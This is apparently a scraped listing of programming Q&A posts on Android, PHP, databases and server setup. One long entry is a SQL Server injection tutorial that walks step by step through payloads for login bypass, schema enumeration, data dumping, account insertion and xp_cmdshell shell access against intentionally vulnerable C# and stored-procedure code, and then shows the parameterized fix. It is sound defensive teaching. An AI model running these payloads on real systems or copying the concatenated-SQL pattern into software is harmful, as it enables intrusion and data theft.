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  • Create ImageButton programatically depending on local database records

    - by user2507920
    As i described in title, i have a local db in sqlite. I want to create ImageButton parametrically. How many times is local database loop executing? Please see code below : RelativeLayout outerRelativeLayout = (RelativeLayout)findViewById(R.id.relativeLayout2_making_dynamically); db.open(); Cursor c = db.getAllLocal_Job_Data(); if(c!=null){ if(c.moveToFirst()){ do { RelativeLayout innerRelativeLayout = new RelativeLayout(CalendarActivity.this); innerRelativeLayout.setGravity(Gravity.CENTER); ImageButton imgBtn = new ImageButton(CalendarActivity.this); imgBtn.setBackgroundResource(R.drawable.color_001); RelativeLayout.LayoutParams imageViewParams = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); imgBtn.setLayoutParams(imageViewParams); // Adding the textView to the inner RelativeLayout as a child innerRelativeLayout.addView(imgBtn, new RelativeLayout.LayoutParams( ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)); outerRelativeLayout.addView(innerRelativeLayout, new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)); } while (c.moveToNext()); } } db.close(); But when i run the project, i can see only one button created there. I think there are many buttons but here image button is creating on last created image button. I think i should use android:layout_toRightOf with previous created button but i cant find how to place it here. I have tried some ideas but it did not change any thing. So please anybody has any idea to solve my problem then please share it with me.

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  • inserting facebook app users details to database

    - by fusion
    i'm trying to insert user details, who authorize the app, into the database, but nothing seems to be happening. the data is null and no record is being inserted. is there something wrong with the code? function insertUser($user_id,$sk,$conn) { //$info = $facebook->api_client->users_getInfo($user_id, 'first_name, last_name', 'name', 'sex'); $info = $facebook->api_client->fql_query("SELECT uid, first_name, last_name, name, sex FROM user WHERE uid = $user_id"); for ($i=0; $i < count($info); $i++) { $record = $info[$i]; $first_name=$record['first_name']; $last_name=$record['last_name']; $full_name=$record['name']; $gender=$record['sex']; } $data= mysql_query("select uid from users where uid='{$user_id}'",$conn); if(mysql_num_rows($data)==0) { $sql = "INSERT INTO users (uid,sessionkey, active, fname, lname, full_name, gender) VALUES('{$user_id}','{$sk}','1', '{$first_name}', '{$last_name}', '{$full_name}', '{$gender}')"; mysql_query($sql,$conn); return true; } return false; }

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  • What is the best solution for remote desktop / visual support?

    - by SchizoDuckie
    We are currently investigating different remote-desktop support solutions to help our clients if they have any problems with our software and I would like some input on the best solutions out there. We have the following needs / wishes: Cross platform Preferrably no installation on the user-end Should penetrate firewalls and not be bothered by antivirus stuff. Should leave no residu behind after support. I know of VNC, logmeinrescue.com, dameware remote control, msn remote desktop and many others, but which one is the best?

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  • How can I map UIDs to user names using Perl library functions?

    - by Mike
    I'm looking for a way of mapping a uid (unique number representing a system user) to a user name using Perl. Please don't suggest greping /etc/passwd :) Edit As a clarification, I wasn't looking for a solution that involved reading /etc/passwd explicitly. I realize that under the hood any solution would end up doing this, but I was searching for a library function to do it for me.

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  • PHP PDO changes remote host to local hostname

    - by Wade Urry
    I'm trying to connect to a remote mysql server using PDO. However, regardless of the hostname or ip address i supply in the dsn, when the script is run it always reverts the address to the hostname of the local server where the webserver is running. Google suggests this could be something to do with SELinux and apaches ability to connect to remote databases, however i have SELinux disabled. Distro: Ubuntu 11.04 x64 Apache version: 2.2.17 PHP Version: PHP 5.3.5-1ubuntu7.11 with Suhosin-Patch (cli) Edit: Added code as requested. Though i dont believe this is an issue with my coding as it works fine on the local server, but doesnt allow remote connection. public function db_connect($driver, $dbhost, $dbname, $user, $pass) { $dsn = $driver . ':host=' . $dbhost . ';dbname=' . $dbname; try { $this->DB = new PDO($dsn, $user, $pass); } catch (PDOException $err) { print 'Database Connection Failed: ' . $err->getMessage(); die(); } } $remote_db = new DB('mysql', 'remote_server.domain.tld', 'database_name', 'user_name', 'password'); This is the error message i am receiving. Database Connection Failed: SQLSTATE[28000] [1045] Access denied for user 'user_name'@'local_server.domain.tld' (using password: YES)

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  • What is the proper design of storing temporary users? [closed]

    - by Mendy
    In SO site both real users and temporary users can add a new questions. I assume each user type has a different table. My question is how can I attach the question to the right user? I assuming the temp users have their own table from the following reasons: Temp users don't have all the data that real users have. like: email, password, and all users details. On the other hand, temp users are a lot more then real users. So it make more sense to have they in their own table.

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • Xap file contents changes if built in Visual Studio or build server

    - by arch
    I'm using MEF with my Silverlight 4 app to dynamically load xap files. To optimize this process, I've removed various assemblies from my xaps since I know they've already been loaded by the base xap. This reduces the size of my dynamically loaded xaps. I accomplished this by setting the "Copy Local" flag for each assembly reference to "false". This all seems to work fine when I build in Visual Studio 2010 - my xaps are much smaller. However, when the same projects are built by the build server, all the excluded references are once again in the xap file hence tripling the size of the xap. I've read several blogs/articles regarding similar experiences but no resolution. Very frustrating - any help is appreciated.

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  • Why is Mac OS X 10.6 using /usr/lib to start Apache when I compiled PHP using /opt/local/lib?

    - by Anthony
    PHP 5.3.3 compiled on Mac OS X 10.6 - using /usr/lib when trying to start Apache... rather than /opt/local/lib specified when PHP was configured. Why is it trying to load from /usr/lib when I specified in my configure not to? httpd: Syntax error on line 115 of /private/etc/apache2/httpd.conf: Cannot load /usr/libexec/apache2/libphp5.so into server: dlopen(/usr/libexec/apache2/libphp5.so, 10): Library not loaded: /opt/local/lib/libiconv.2.dylib\n Referenced from: /usr/libexec/apache2/libphp5.so\n Reason: Incompatible library version: libphp5.so requires version 8.0.0 or later, but libiconv.2.dylib provides version 7.0.0 The error message above refers to /opt/local/lib which when I run: otool -LD /opt/local/lib/libiconv.2.dylib Message: /opt/local/lib/libiconv.2.dylib: /opt/local/lib/libiconv.2.dylib (compatibility version 8.0.0, current version 8.0.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.0.0) It shows that the version is different than what httpd is erring out as. I have a feeling I need to recompile Apache using newer libraries, but the error message still doesn't make too much sense to me.

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  • PHP compiled on Mac OSX 10.6 - using /usr/lib when trying to start apache... rather than /opt/local/lib specified when php was configured

    - by Anthony
    PHP 5.3.3 compiled on Mac OSX 10.6 - using /usr/lib when trying to start apache... rather than /opt/local/lib specified when php was configured Why is it trying to load from /usr/lib when I specified in my configure not to? httpd: Syntax error on line 115 of /private/etc/apache2/httpd.conf: Cannot load /usr/libexec/apache2/libphp5.so into server: dlopen(/usr/libexec/apache2/libphp5.so, 10): Library not loaded: /opt/local/lib/libiconv.2.dylib\n Referenced from: /usr/libexec/apache2/libphp5.so\n Reason: Incompatible library version: libphp5.so requires version 8.0.0 or later, but libiconv.2.dylib provides version 7.0.0 The error message above refers to /opt/local/lib which when I run: otool -LD /opt/local/lib/libiconv.2.dylib /opt/local/lib/libiconv.2.dylib: /opt/local/lib/libiconv.2.dylib (compatibility version 8.0.0, current version 8.0.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.0.0) It shows that the version is different than what http is erring out as.

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  • How to invite users to connect to your application using Facebook Application Development interfaces

    - by rabashani
    I think that this question already questioned, and probably the answer is here: http://wiki.developers.facebook.com/index.php/Notifications.send but the real problem is that facebook says: Facebook discontinued support for this method March 1, 2010. Calling this method returns error code 3 -- Unknown method. while, I couldn't find any other JS-api for the invitation, anyone know how we can invite users, using the JS api or the .net api? thanks.

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  • Arguments, local variables, and global variables coding convention in Python

    - by prosseek
    In python, there is no way to differentiate between arguments, local variables, and global variables. The easy way to do so might be have some coding convention such as Global variables start with _ and capital letter arguments end with with _ _Gvariable = 10 def hello(x_, y_): z = x_ + y_ Is this a Pythonian way to go? I mean, is there well established/agreed coding-standards to differentiate them in python?

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  • Arguments, local variables, and global variables in Python

    - by prosseek
    In python, there is no way to differentiate between arguments, local variables, and global variables. The easy way to do so might be have some coding convention such as Global variables start with _ and capital letter arguments end with with _ _Global variable = 10 def hello(x_, y_): z = x_ + y_ Is this a Pythonian way to go? I mean, is there well established/agreed coding-standards to differentiate them in python?

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  • How to use Windows live contacts api to allow users to import contacts

    - by AlfaTeK
    I can't find a good, simple tutorial on how to achieve this in PHP / Javascript. Basically the same thing FB has where the users specifies their hotmail account and then gives permission to FB to access their contacts. As the API seems to have changed most tutorials simply don't work like: http://livecontactsphp.codeplex.com/ which doesn't get the contacts (but authenticates and gets permission from user)

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  • Users Login Info in INFORMIX-SQL

    - by Frank Developer
    INFORMIX-SQL 4.1 - There's this ASCII UNIX file called "passwd" in /usr/informix/etc which holds all the user id's and encrypted passwords to log into ISQL. Is there a system catalog table which holds the logged in users? I see a SYSUSERS.DAT file but when I queried it, it didnt show my login id, date or time.

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  • VirtualBox guest OS accessing local server on host OS.

    - by Maxim
    Hi, On my Ubuntu HOST I have my local webserver. I installed VirtualBox and Debian as a GUEST. I would like Debian guest to be able to hit my webserver running on my Ubuntu host (for example, I just type http://localhost:8080/ in the browser under Debian). How can this be done? Thanks in advance.

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  • Converting local timestamp to UTC timestamp in Java.

    - by fiXedd
    I have a milliseconds-since-local-epoch timestamp that I'd like to convert into a milliseconds-since-UTC-epoch timestamp. From a quick glance through the docs it looks like something like this would work: int offset = TimeZone.getDefault().getRawOffset(); long newTime = oldTime - offset; Is there a better way to do this?

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  • Setting up SSL on a local xampp/apache server

    - by cvack
    I'm trying to access a Active Directory from my local webserver. To do this I'm using the latest version of xampp and a PHP script called adLDAP. If I understand things right, I need to enable SSL to access https URLs. I've tried to google it but with no luck :( Could anyone link a tutorial or explain to me how to install SSL on xampp/apache for windows 7 64bit? Any help would be appreciated :)

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  • Cannot access website using host headers on local windows 7 and iis 7

    - by Irman
    I have problem of accessing my website created using visual studio on my local pc. the pc using windows 7 with static ip address has been configured and i have added a hostname "192.168.0.1 hosts myweb.mylocal.com" on c:\windows\system32\driver\etc. on the IIS i have configured the binding myweb.mylocal.com with impersonation set enabled and windows authentication is enabled. the user login just keep prompting eventhough i have entered the correct username and password.

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